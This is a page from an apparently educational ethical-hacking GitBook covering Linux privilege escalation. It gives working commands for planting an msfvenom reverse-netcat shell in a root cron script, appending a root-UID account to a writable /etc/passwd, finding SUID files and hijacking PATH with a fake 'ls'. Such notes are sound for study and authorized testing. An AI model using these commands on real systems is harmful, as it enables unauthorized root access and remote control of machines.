馃攼
oneforall
  • Welcome
  • ETHICAL HACKING METHODOLOGY / USUAL AND USEFUL TOOLS
    • Reconnaissance
      • Overview
    • Enumeration
      • Scanning
      • Ports
    • Exploitation
    • Post-exploitation
      • Password cracking
      • File transfers
      • Maintaining access
      • Pivoting
      • Cleaning up & Covering tracks
  • Active Directory
    • Basics
    • Attack vectors
      • Network poisoning
      • SMB services
      • LDAP
      • OSINT
    • Post-compromise
      • Enumeration
        • PowerView
        • Bloodhound
      • Attacks
        • Pass the hash / password
        • Token impersonation
        • Kerberoasting
        • GPP / cPassword
        • Mimikatz
  • WEB
    • TOP 10 OWASP
  • WEB SERVER
    • SQL Injection
    • Authentication
    • OS injection
    • CSRF
  • WIRELESS
    • WPA2 PSK
  • FORENSIC
    • Radare2
    • Obtaining Memory Samples
    • Volatility
    • USB forensic
  • EXPLOIT DEVELOPMENT
    • Buffer Overflow
  • SCRIPTING AND PL
    • HTML
    • C basics
    • Python
      • Libraries & hacking usages
    • Bash basics
      • Hacking usages
    • Powershell basics
    • PHP
  • NETWORK SECURITY
    • Network reminders
    • CCNAv7
      • LAN security concepts
      • Switch security configuration
    • Wireshark
  • MISC
    • VIM basics
    • Metasploit Cheatsheet
    • Common ports & protocols
    • Tmux Cheatsheet
    • Linux reminders
  • STEGANOGRAPHY
    • Steganography
  • Privilege Escalation
    • Linux
    • Windows
  • CRYPTO
    • Encryption
    • Hashing
    • RSA
      • Tools
      • Factorisarion
Powered by GitBook
On this page
  • Resources
  • Exploiting crontab
  • Exploiting SUID/GUID files
  • Exploiting writeable /etc/passwd
  • Exploiting sudo
  • Exploiting PATH variables

Was this helpful?

  1. Privilege Escalation

Linux

PreviousSteganographyNextWindows

Last updated 4 years ago

Was this helpful?

Resources

Exploiting crontab

cat /etc/crontab

=== CRONTAB FORMAT ===

# = ID
m = Minute
h = Hour
dom = Day of the month
mon = Month
dow = Day of the week
user = What user the command will run as
command = What command should be run

#  m   h dom mon dow user  command

17 *   1  *   *   *  root  cd / && run-parts --report /etc/cron.hourly

We can create an msf venom exploit :

msfvenom -p cmd/unix/reverse_netcat lhost=LOCALIP lport=8888 R

Then we put it into the right directory which is the target of the cron job : echo [MSFVENOM OUTPUT] > autoscript.sh

Exploiting SUID/GUID files

find / -perm -u=s -type f 2>/dev/null

Exploiting writeable /etc/passwd

First create a compliant password hash using :

openssl passwd -1 -salt [salt] [password]

With the use of new as salt and 123 as password we got this : $1$new$p7ptkEKU1HnaHpRtzNizS1

We can add the user at the end of the passwd file by following this (don't forget to escape $ in the password hash): username:passwordhash:0:0:root:/root:/bin/bash

Exploiting sudo

sudo -l then check GTFOBins

Exploiting PATH variables

echo $PATH

If there is a script executed by root which use the ls command for example, we can write an imitation executable and add it to the PATH environmental variable.

cd /tmp
echo "/bin/bash" > ls
chmod +x ls
export PATH=/tmp:$PATH

To reset the PATH variable, remove the tmp path.

GTFOBins
LinEnum/LinEnum.sh at master 路 rebootuser/LinEnumGitHub
Checklists/Linux-Privilege-Escalation.md at master 路 netbiosX/ChecklistsGitHub
PayloadsAllTheThings/Linux - Privilege Escalation.md at master 路 swisskyrepo/PayloadsAllTheThingsGitHub
Privilege Escalation - Linux 路 Total OSCP Guide
Logo
A guide to Linux Privilege EscalationPayatu
Logo
Logo
Logo
Logo
Logo